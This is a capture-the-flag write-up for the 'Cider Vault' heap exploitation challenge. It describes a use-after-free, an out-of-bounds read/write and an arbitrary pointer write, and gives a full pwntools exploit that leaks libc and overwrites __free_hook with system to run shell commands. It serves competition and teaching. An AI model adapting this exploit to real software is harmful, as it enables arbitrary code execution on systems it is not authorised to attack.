BITSCTF 2026 - Cider Vault - Binary Exploitation Writeup

Category: Binary Exploitation

Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}

Challenge Description#

Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680

Protections: 64-bit PIE, Full RELRO, Canary, NX.

Analysis#

From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:

open page → malloc(size)
paint page → writes attacker bytes to chunk
peek page → prints attacker-chosen bytes from chunk
tear page → free(ptr)
stitch pages → realloc + copy from another page
whisper path → rewires pointer as: vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91

Bugs used:

UAF: tear page frees memory but pointer is not nulled
OOB read/write: paint/peek allow up to size + 0x80
Arbitrary pointer assignment: whisper path lets us set page pointer to almost any address

Exploitation#

Step A — Leak libc with unsorted bin:

Allocate large chunk (0x500) so free goes to unsorted bin
Allocate guard chunk (0x100) to avoid top consolidation
Free the large chunk
Use UAF + peek to read first qword (unsorted fd)

Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0

Step B — Hook hijack:

__free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290

Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).

Step C — Trigger code execution: Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).

File used: exploit.py

1
# !/usr/bin/env python3
2
from pwn import *
3

4
context.binary = ELF("./cider_vault", checksec=False)
5
libc = ELF("./libc.so.6", checksec=False)
6

7
LD = "./ld-linux-x86-64.so.2"
8
XOR_KEY = 0x51F0D1CE6E5B7A91
9
UNSORTED_LEAK_OFF = 0x1ECBE0
10

11
def start():
12
    if args.REMOTE:
13
        host = args.HOST or "127.0.0.1"
14
        port = int(args.PORT or 1337)
15
        return remote(host, port)
16
    return process([LD, "--library-path", ".", "./cider_vault"])
17

18
def choose(io, n):
19
    io.sendlineafter(b"> ", str(n).encode())
20

21
def open_page(io, idx, size):
22
    choose(io, 1)
23
    io.sendlineafter(b"page id:\n", str(idx).encode())
24
    io.sendlineafter(b"page size:\n", str(size).encode())
25

26
def paint_page(io, idx, data):
27
    choose(io, 2)
28
    io.sendlineafter(b"page id:\n", str(idx).encode())
29
    io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
30
    io.sendafter(b"ink:\n", data)
31

32
def peek_page(io, idx, n):
33
    choose(io, 3)
34
    io.sendlineafter(b"page id:\n", str(idx).encode())
35
    io.sendlineafter(b"peek bytes:\n", str(n).encode())
36
    out = io.recvn(n)
37
    io.recvuntil(b"\n")
38
    return out
39

40
def tear_page(io, idx):
41
    choose(io, 4)
42
    io.sendlineafter(b"page id:\n", str(idx).encode())
43

44
def whisper_path(io, idx, target_addr):
45
    choose(io, 6)
46
    io.sendlineafter(b"page id:\n", str(idx).encode())
47
    token = target_addr ^ XOR_KEY
48
    if token >= (1 << 63):
49
        token -= 1 << 64
50
    io.sendlineafter(b"star token:\n", str(token).encode())
51

52
def main():
53
    io = start()
54

55
    # 1) Leak libc from unsorted bin using UAF + OOB peek
56
    open_page(io, 0, 0x500)
57
    open_page(io, 1, 0x100)  # guard chunk to avoid top consolidation
58
    tear_page(io, 0)
59

60
    leak = u64(peek_page(io, 0, 8))
61
    libc.address = leak - UNSORTED_LEAK_OFF
62
    log.success(f"unsorted leak: {hex(leak)}")
63
    log.success(f"libc base    : {hex(libc.address)}")
64

65
    free_hook = libc.symbols["__free_hook"]
66
    system = libc.symbols["system"]
67
    log.info(f"__free_hook  : {hex(free_hook)}")
68
    log.info(f"system       : {hex(system)}")
69

70
    # 2) Prepare command chunk; free(cmd) will become system(cmd)
71
    cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
72
    open_page(io, 2, 0x100)
73
    paint_page(io, 2, cmd)
74

75
    # 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
76
    open_page(io, 3, 0x100)
77
    whisper_path(io, 3, free_hook)
78
    paint_page(io, 3, p64(system))
79

80
    # 4) Trigger system(cmd)
81
    tear_page(io, 2)
82

83
    out = io.recvrepeat(2)
84
    print(out.decode("latin-1", errors="ignore"))
85
    io.close()
86

87
if __name__ == "__main__":
88
    main()

Run local:

1
python3 exploit.py

Run remote:

1
python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680

Retrieved flag:

1
BITSCTF{358289056fd6ac0fef4e114ae5abeab2}